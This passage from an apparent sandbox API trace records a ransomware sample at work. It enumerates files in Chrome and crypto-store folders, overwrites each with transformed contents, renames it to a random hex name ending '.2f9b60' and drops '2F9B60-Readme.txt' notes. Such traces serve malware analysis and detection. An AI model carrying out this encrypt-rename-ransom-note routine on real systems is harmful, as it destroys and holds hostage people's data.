(HeapHandle=0xa0000, Flags=0x8, Size=0x88) returned 0x1cf4a690 [0138.625] wcscpy (in: _Dest=0x1cf4a690, _Source="C:\\Program Files (x86)\\Google\\Chrome\\Application\\" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application\\") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\" [0138.625] wcscat (in: _Dest=0x1cf4a690, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application\\2F9B60-Readme.txt") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\2F9B60-Readme.txt" [0138.625] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\2F9B60-Readme.txt" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\2f9b60-readme.txt")) returned 0xffffffff [0138.625] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\2F9B60-Readme.txt" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\2f9b60-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d58 [0139.113] WriteFile (in: hFile=0x1d58, lpBuffer=0x1b82f9a0*, nNumberOfBytesToWrite=0xba9, lpNumberOfBytesWritten=0x2c40fc70, lpOverlapped=0x0 | out: lpBuffer=0x1b82f9a0*, lpNumberOfBytesWritten=0x2c40fc70*=0xba9, lpOverlapped=0x0) returned 1 [0139.209] CloseHandle (hObject=0x1d58) returned 1 [0139.209] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf4a690) returned 1 [0139.209] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8627d0) returned 1 Thread: id = 1914 os_tid = 0x10ac [0134.004] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x80) returned 0x202a4d10 [0134.004] wcscpy (in: _Dest=0x202a4d10, _Source="C:\\Program Files (x86)\\Google\\Chrome\\Application\\SetupMetrics" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application\\SetupMetrics") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\SetupMetrics" [0134.004] wcscat (in: _Dest=0x202a4d10, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application\\SetupMetrics\\") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\SetupMetrics\\" [0134.004] wcscat (in: _Dest=0x202a4d10, _Source="*" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application\\SetupMetrics\\*") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\SetupMetrics\\*" [0134.005] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1ce1f310 [0134.005] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\SetupMetrics\\*", lpFindFileData=0x1ce1f310 | out: lpFindFileData=0x1ce1f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7ded59e0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7f252e00, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x7f252e00, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ced5920 [0134.005] wcscmp (_String1=".", _String2=".") returned 0 [0134.005] FindNextFileW (in: hFindFile=0x1ced5920, lpFindFileData=0x1ce1f310 | out: lpFindFileData=0x1ce1f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7ded59e0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7f252e00, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x7f252e00, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0134.005] wcscmp (_String1="..", _String2=".") returned 1 [0134.005] wcscmp (_String1="..", _String2="..") returned 0 [0134.005] FindNextFileW (in: hFindFile=0x1ced5920, lpFindFileData=0x1ce1f310 | out: lpFindFileData=0x1ce1f310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7e110e80, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7e110e80, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x7e110e80, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x1ab8, dwReserved0=0x0, dwReserved1=0x0, cFileName="20170605115313.pma", cAlternateFileName="201706~1.PMA")) returned 1 [0134.005] wcscmp (_String1="20170605115313.pma", _String2=".") returned 1 [0134.006] wcscmp (_String1="20170605115313.pma", _String2="..") returned 1 [0134.006] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa2) returned 0x202ac0b0 [0134.006] wcscpy (in: _Dest=0x202ac0b0, _Source="C:\\Program Files (x86)\\Google\\Chrome\\Application\\SetupMetrics" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application\\SetupMetrics") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\SetupMetrics" [0134.006] wcscat (in: _Dest=0x202ac0b0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application\\SetupMetrics\\") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\SetupMetrics\\" [0134.006] wcscat (in: _Dest=0x202ac0b0, _Source="20170605115313.pma" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application\\SetupMetrics\\20170605115313.pma") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\SetupMetrics\\20170605115313.pma" [0151.429] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\SetupMetrics\\20170605115313.pma" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\setupmetrics\\20170605115313.pma")) returned 0x20 [0151.429] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\SetupMetrics\\20170605115313.pma", dwFileAttributes=0x20) returned 1 [0151.430] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\SetupMetrics\\20170605115313.pma" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\setupmetrics\\20170605115313.pma"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x2520 [0151.430] GetFileSizeEx (in: hFile=0x2520, lpFileSize=0x2d7afc20 | out: lpFileSize=0x2d7afc20*=6840) returned 1 [0151.430] SetFilePointerEx (in: hFile=0x2520, liDistanceToMove=0x1ab4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.431] ReadFile (in: hFile=0x2520, lpBuffer=0x2d7afba0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2d7afbe8, lpOverlapped=0x0 | out: lpBuffer=0x2d7afba0*, lpNumberOfBytesRead=0x2d7afbe8*=0x4, lpOverlapped=0x0) returned 1 [0151.447] SetFilePointerEx (in: hFile=0x2520, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.447] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82acf0 [0151.447] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204ff7b0 [0151.447] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204ff7e0 [0151.447] NtQuerySystemTime (in: CurrentTime=0x2d7afae0 | out: CurrentTime=0x2d7afae0*=132462177566626000) returned 0x0 [0151.448] RtlRandomEx (in: Seed=0x2d7afad0 | out: Seed=0x2d7afad0) returned 0x5e92677c [0151.448] RtlRandomEx (in: Seed=0x2d7afad0 | out: Seed=0x2d7afad0) returned 0x520470b1 [0151.448] RtlRandomEx (in: Seed=0x2d7afad0 | out: Seed=0x2d7afad0) returned 0x74dcc10c [0151.448] RtlRandomEx (in: Seed=0x2d7afad0 | out: Seed=0x2d7afad0) returned 0x505d1093 [0151.448] RtlRandomEx (in: Seed=0x2d7afad0 | out: Seed=0x2d7afad0) returned 0x4c7fbde5 [0151.448] RtlRandomEx (in: Seed=0x2d7afad0 | out: Seed=0x2d7afad0) returned 0x177912fd [0151.448] RtlRandomEx (in: Seed=0x2d7afad0 | out: Seed=0x2d7afad0) returned 0x59b4b8fe [0151.448] RtlRandomEx (in: Seed=0x2d7afad0 | out: Seed=0x2d7afad0) returned 0x75540293 [0151.448] RtlRandomEx (in: Seed=0x2d7afad0 | out: Seed=0x2d7afad0) returned 0x3ddc21ff [0151.448] RtlRandomEx (in: Seed=0x2d7afad0 | out: Seed=0x2d7afad0) returned 0x353c0c6b [0151.448] RtlRandomEx (in: Seed=0x2d7afad0 | out: Seed=0x2d7afad0) returned 0x764feddc [0151.448] RtlRandomEx (in: Seed=0x2d7afad0 | out: Seed=0x2d7afad0) returned 0x41e1a186 [0151.448] RtlRandomEx (in: Seed=0x2d7afad0 | out: Seed=0x2d7afad0) returned 0x7c0cbd3d [0151.448] RtlRandomEx (in: Seed=0x2d7afad0 | out: Seed=0x2d7afad0) returned 0x5b3796ac [0151.448] RtlRandomEx (in: Seed=0x2d7afad0 | out: Seed=0x2d7afad0) returned 0x7c69514 [0151.448] RtlRandomEx (in: Seed=0x2d7afad0 | out: Seed=0x2d7afad0) returned 0x35eab520 [0151.448] RtlRandomEx (in: Seed=0x2d7afad0 | out: Seed=0x2d7afad0) returned 0x47b438bb [0151.448] RtlRandomEx (in: Seed=0x2d7afad0 | out: Seed=0x2d7afad0) returned 0x48856b1e [0151.448] RtlRandomEx (in: Seed=0x2d7afad0 | out: Seed=0x2d7afad0) returned 0x684eceb2 [0151.448] RtlRandomEx (in: Seed=0x2d7afad0 | out: Seed=0x2d7afad0) returned 0x13724d63 [0151.448] RtlRandomEx (in: Seed=0x2d7afad0 | out: Seed=0x2d7afad0) returned 0x13fe41b5 [0151.448] RtlRandomEx (in: Seed=0x2d7afad0 | out: Seed=0x2d7afad0) returned 0x30948531 [0151.448] RtlRandomEx (in: Seed=0x2d7afad0 | out: Seed=0x2d7afad0) returned 0x4ad74b64 [0151.448] RtlRandomEx (in: Seed=0x2d7afad0 | out: Seed=0x2d7afad0) returned 0x3bb01346 [0151.448] RtlRandomEx (in: Seed=0x2d7afad0 | out: Seed=0x2d7afad0) returned 0x6677edc8 [0151.448] RtlRandomEx (in: Seed=0x2d7afad0 | out: Seed=0x2d7afad0) returned 0x24caea08 [0151.448] RtlRandomEx (in: Seed=0x2d7afad0 | out: Seed=0x2d7afad0) returned 0x2a0e8a0e [0151.448] RtlRandomEx (in: Seed=0x2d7afad0 | out: Seed=0x2d7afad0) returned 0x1298fdfe [0151.448] RtlRandomEx (in: Seed=0x2d7afad0 | out: Seed=0x2d7afad0) returned 0x579bb0f4 [0151.448] RtlRandomEx (in: Seed=0x2d7afad0 | out: Seed=0x2d7afad0) returned 0x66a3f59a [0151.448] RtlRandomEx (in: Seed=0x2d7afad0 | out: Seed=0x2d7afad0) returned 0x45faa25a [0151.448] RtlRandomEx (in: Seed=0x2d7afad0 | out: Seed=0x2d7afad0) returned 0x51ac5a91 [0151.456] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204ff810 [0151.456] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b869c40 [0151.456] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204ff840 [0151.457] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869c40) returned 1 [0151.457] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204ff7e0) returned 1 [0151.457] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82acf0) returned 1 [0151.457] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42058740 [0151.457] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b869c40 [0151.457] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82acf0 [0151.457] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82acf0) returned 1 [0151.457] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x424f9930 [0151.458] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x424fd540 [0151.458] ReadFile (in: hFile=0x2520, lpBuffer=0x424f9930, nNumberOfBytesToRead=0x1ab8, lpNumberOfBytesRead=0x2d7afad0, lpOverlapped=0x0 | out: lpBuffer=0x424f9930*, lpNumberOfBytesRead=0x2d7afad0*=0x1ab8, lpOverlapped=0x0) returned 1 [0151.476] SetFilePointerEx (in: hFile=0x2520, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.485] WriteFile (in: hFile=0x2520, lpBuffer=0x424fd540*, nNumberOfBytesToWrite=0x1ab8, lpNumberOfBytesWritten=0x2d7afad4, lpOverlapped=0x0 | out: lpBuffer=0x424fd540*, lpNumberOfBytesWritten=0x2d7afad4*=0x1ab8, lpOverlapped=0x0) returned 1 [0162.639] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c19650 [0162.639] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c19680 [0162.640] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c19680) returned 1 [0162.640] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x424fd540) returned 1 [0162.640] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x424f9930) returned 1 [0162.640] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869c40) returned 1 [0162.641] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42058740) returned 1 [0162.641] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x32) returned 0x1cd9ebb0 [0162.641] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42058740 [0162.641] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b869c40 [0162.641] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c19680 [0162.642] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c19680) returned 1 [0162.642] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x32) returned 0x1cd9f2b0 [0162.642] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c19680 [0162.642] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c196b0 [0162.643] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c196b0) returned 1 [0162.643] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869c40) returned 1 [0162.643] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42058740) returned 1 [0162.643] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x116) returned 0x42c15b90 [0162.644] SetFilePointerEx (in: hFile=0x2520, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0162.644] WriteFile (in: hFile=0x2520, lpBuffer=0x42c15b90*, nNumberOfBytesToWrite=0x116, lpNumberOfBytesWritten=0x2d7afbf0, lpOverlapped=0x0 | out: lpBuffer=0x42c15b90*, lpNumberOfBytesWritten=0x2d7afbf0*=0x116, lpOverlapped=0x0) returned 1 [0164.716] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce185f0 [0164.716] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce246a0 [0164.717] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddb060 [0164.717] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cddb060) returned 1 [0164.717] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x24) returned 0x1cddb060 [0164.717] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddb030 [0164.717] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddaee0 [0164.718] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cddaee0) returned 1 [0164.718] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce246a0) returned 1 [0164.718] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce185f0) returned 1 [0164.718] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x49) returned 0x1cd87030 [0164.719] sprintf (in: _Dest=0x1cd87030, _Format="%c%c" | out: _Dest="8b") returned 2 [0164.719] sprintf (in: _Dest=0x1cd87032, _Format="%c%c" | out: _Dest="71") returned 2 [0164.719] sprintf (in: _Dest=0x1cd87034, _Format="%c%c" | out: _Dest="52") returned 2 [0164.719] sprintf (in: _Dest=0x1cd87036, _Format="%c%c" | out: _Dest="b2") returned 2 [0164.719] sprintf (in: _Dest=0x1cd87038, _Format="%c%c" | out: _Dest="cf") returned 2 [0164.719] sprintf (in: _Dest=0x1cd8703a, _Format="%c%c" | out: _Dest="ea") returned 2 [0164.719] sprintf (in: _Dest=0x1cd8703c, _Format="%c%c" | out: _Dest="f0") returned 2 [0164.719] sprintf (in: _Dest=0x1cd8703e, _Format="%c%c" | out: _Dest="1c") returned 2 [0164.719] sprintf (in: _Dest=0x1cd87040, _Format="%c%c" | out: _Dest="59") returned 2 [0164.719] sprintf (in: _Dest=0x1cd87042, _Format="%c%c" | out: _Dest="3c") returned 2 [0164.719] sprintf (in: _Dest=0x1cd87044, _Format="%c%c" | out: _Dest="4f") returned 2 [0164.719] sprintf (in: _Dest=0x1cd87046, _Format="%c%c" | out: _Dest="dc") returned 2 [0164.719] sprintf (in: _Dest=0x1cd87048, _Format="%c%c" | out: _Dest="f4") returned 2 [0164.719] sprintf (in: _Dest=0x1cd8704a, _Format="%c%c" | out: _Dest="07") returned 2 [0164.719] sprintf (in: _Dest=0x1cd8704c, _Format="%c%c" | out: _Dest="aa") returned 2 [0164.719] sprintf (in: _Dest=0x1cd8704e, _Format="%c%c" | out: _Dest="be") returned 2 [0164.719] sprintf (in: _Dest=0x1cd87050, _Format="%c%c" | out: _Dest="23") returned 2 [0164.719] sprintf (in: _Dest=0x1cd87052, _Format="%c%c" | out: _Dest="a2") returned 2 [0164.719] sprintf (in: _Dest=0x1cd87054, _Format="%c%c" | out: _Dest="a6") returned 2 [0164.720] sprintf (in: _Dest=0x1cd87056, _Format="%c%c" | out: _Dest="d4") returned 2 [0164.720] sprintf (in: _Dest=0x1cd87058, _Format="%c%c" | out: _Dest="d2") returned 2 [0164.720] sprintf (in: _Dest=0x1cd8705a, _Format="%c%c" | out: _Dest="a8") returned 2 [0164.720] sprintf (in: _Dest=0x1cd8705c, _Format="%c%c" | out: _Dest="24") returned 2 [0164.720] sprintf (in: _Dest=0x1cd8705e, _Format="%c%c" | out: _Dest="0a") returned 2 [0164.720] sprintf (in: _Dest=0x1cd87060, _Format="%c%c" | out: _Dest="a8") returned 2 [0164.720] sprintf (in: _Dest=0x1cd87062, _Format="%c%c" | out: _Dest="f4") returned 2 [0164.720] sprintf (in: _Dest=0x1cd87064, _Format="%c%c" | out: _Dest="06") returned 2 [0164.720] sprintf (in: _Dest=0x1cd87066, _Format="%c%c" | out: _Dest="8e") returned 2 [0164.720] sprintf (in: _Dest=0x1cd87068, _Format="%c%c" | out: _Dest="7e") returned 2 [0164.720] sprintf (in: _Dest=0x1cd8706a, _Format="%c%c" | out: _Dest="80") returned 2 [0164.720] sprintf (in: _Dest=0x1cd8706c, _Format="%c%c" | out: _Dest="d4") returned 2 [0164.720] sprintf (in: _Dest=0x1cd8706e, _Format="%c%c" | out: _Dest="b2") returned 2 [0164.720] sprintf (in: _Dest=0x1cd87070, _Format="%c%c" | out: _Dest="5c") returned 2 [0164.720] sprintf (in: _Dest=0x1cd87072, _Format="%c%c" | out: _Dest="c8") returned 2 [0164.720] sprintf (in: _Dest=0x1cd87074, _Format="%c%c" | out: _Dest="0f") returned 2 [0164.720] sprintf (in: _Dest=0x1cd87076, _Format="%c%c" | out: _Dest="90") returned 2 [0164.720] RtlInitAnsiString (in: DestinationString=0x2d7afc68, SourceString="8b7152b2cfeaf01c593c4fdcf407aabe23a2a6d4d2a8240aa8f4068e7e80d4b25cc80f90" | out: DestinationString="8b7152b2cfeaf01c593c4fdcf407aabe23a2a6d4d2a8240aa8f4068e7e80d4b25cc80f90") [0164.720] RtlAnsiStringToUnicodeString (in: DestinationString=0x2d7afc38, SourceString="8b7152b2cfeaf01c593c4fdcf407aabe23a2a6d4d2a8240aa8f4068e7e80d4b25cc80f90", AllocateDestinationString=1 | out: DestinationString="8b7152b2cfeaf01c593c4fdcf407aabe23a2a6d4d2a8240aa8f4068e7e80d4b25cc80f90") returned 0x0 [0164.720] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x92) returned 0x42c306d0 [0164.721] RtlFreeAnsiString (AnsiString="8") [0164.721] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd87030) returned 1 [0164.721] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cddb060) returned 1 [0164.722] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cddb030) returned 1 [0164.722] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c15b90) returned 1 [0164.722] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9f2b0) returned 1 [0164.722] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c19680) returned 1 [0164.723] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9ebb0) returned 1 [0164.723] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c19650) returned 1 [0164.723] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204ff7b0) returned 1 [0164.723] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204ff810) returned 1 [0164.723] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204ff840) returned 1 [0164.723] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xb0) returned 0x42c2b710 [0164.724] wcscat (in: _Dest=0x42c2b710, _Source="8b7152b2cfeaf01c59" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application\\SetupMetrics\\8b7152b2cfeaf01c59") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\SetupMetrics\\8b7152b2cfeaf01c59" [0164.724] wcscat (in: _Dest=0x42c2b710, _Source=".2f9b60" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application\\SetupMetrics\\8b7152b2cfeaf01c59.2f9b60") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\SetupMetrics\\8b7152b2cfeaf01c59.2f9b60" [0164.724] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\SetupMetrics\\8b7152b2cfeaf01c59.2f9b60", NtPathName=0x2d7afc10, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files (x86)\\Google\\Chrome\\Application\\SetupMetrics\\8b7152b2cfeaf01c59.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0164.724] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xce) returned 0x1cecfa20 [0164.727] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cecfa20) returned 1 [0164.727] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c32950) returned 1 [0164.727] NtQueryInformationFile (in: FileHandle=0x2520, IoStatusBlock=0x2d7afc78, FileInformation=0x2d7afc88, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2d7afc78, FileInformation=0x2d7afc88) returned 0x0 [0164.727] NtSetInformationFile (FileHandle=0x2520, IoStatusBlock=0x2d7afc78, FileInformation=0x2d7afc88, Length=0x28, FileInformationClass=0x4) returned 0x0 [0164.729] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c2b710) returned 1 [0164.729] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c306d0) returned 1 [0164.729] FlushFileBuffers (hFile=0x2520) returned 1 [0166.275] CloseHandle (hObject=0x2520) returned 1 [0200.306] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa2) returned 0x431f44b0 [0200.307] wcscpy (in: _Dest=0x431f44b0, _Source="C:\\Program Files (x86)\\Google\\Chrome\\Application\\SetupMetrics\\" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application\\SetupMetrics\\") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\SetupMetrics\\" [0200.307] wcscat (in: _Dest=0x431f44b0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application\\SetupMetrics\\2F9B60-Readme.txt") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\SetupMetrics\\2F9B60-Readme.txt" [0200.307] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\SetupMetrics\\2F9B60-Readme.txt" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\setupmetrics\\2f9b60-readme.txt")) returned 0xffffffff [0200.307] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\SetupMetrics\\2F9B60-Readme.txt" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\setupmetrics\\2f9b60-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x8d4 [0203.945] WriteFile (in: hFile=0x8d4, lpBuffer=0x1b82f9a0*, nNumberOfBytesToWrite=0xba9, lpNumberOfBytesWritten=0x2d7afb30, lpOverlapped=0x0 | out: lpBuffer=0x1b82f9a0*, lpNumberOfBytesWritten=0x2d7afb30*=0xba9, lpOverlapped=0x0) returned 1 [0209.362] CloseHandle (hObject=0x8d4) returned 1 [0216.634] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431f44b0) returned 1 [0216.634] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202ac0b0) returned 1 [0216.634] FindNextFileW (in: hFindFile=0x1ced5920, lpFindFileData=0x1ce1f310 | out: lpFindFileData=0x1ce1f310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7e110e80, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7e110e80, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x7e110e80, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x1ab8, dwReserved0=0x0, dwReserved1=0x0, cFileName="20170605115313.pma", cAlternateFileName="201706~1.PMA")) returned 0 [0216.634] FindClose (in: hFindFile=0x1ced5920 | out: hFindFile=0x1ced5920) returned 1 [0216.636] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce1f310) returned 1 [0216.636] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a4d10) returned 1 [0216.636] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202afb20) returned 1 Thread: id = 1915 os_tid = 0x10b0 [0134.010] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x54) returned 0x1ced5980 [0134.010] wcscpy (in: _Dest=0x1ced5980, _Source="C:\\Users\\All Users\\Microsoft\\Crypto\\DSS" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Crypto\\DSS") returned="C:\\Users\\All Users\\Microsoft\\Crypto\\DSS" [0134.010] wcscat (in: _Dest=0x1ced5980, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Crypto\\DSS\\") returned="C:\\Users\\All Users\\Microsoft\\Crypto\\DSS\\" [0134.010] wcscat (in: _Dest=0x1ced5980, _Source="*" | out: _Dest="C:\\Users\\All 